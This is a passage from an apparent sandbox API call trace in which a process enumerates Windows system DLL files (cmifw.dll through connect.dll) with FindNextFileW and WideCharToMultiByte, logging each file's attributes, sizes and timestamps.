lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x94c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.716] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0038.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x94c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.717] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0038.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.718] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.718] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.718] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.718] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.718] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.718] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.718] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.719] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.719] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.719] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x94c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.719] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.719] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, 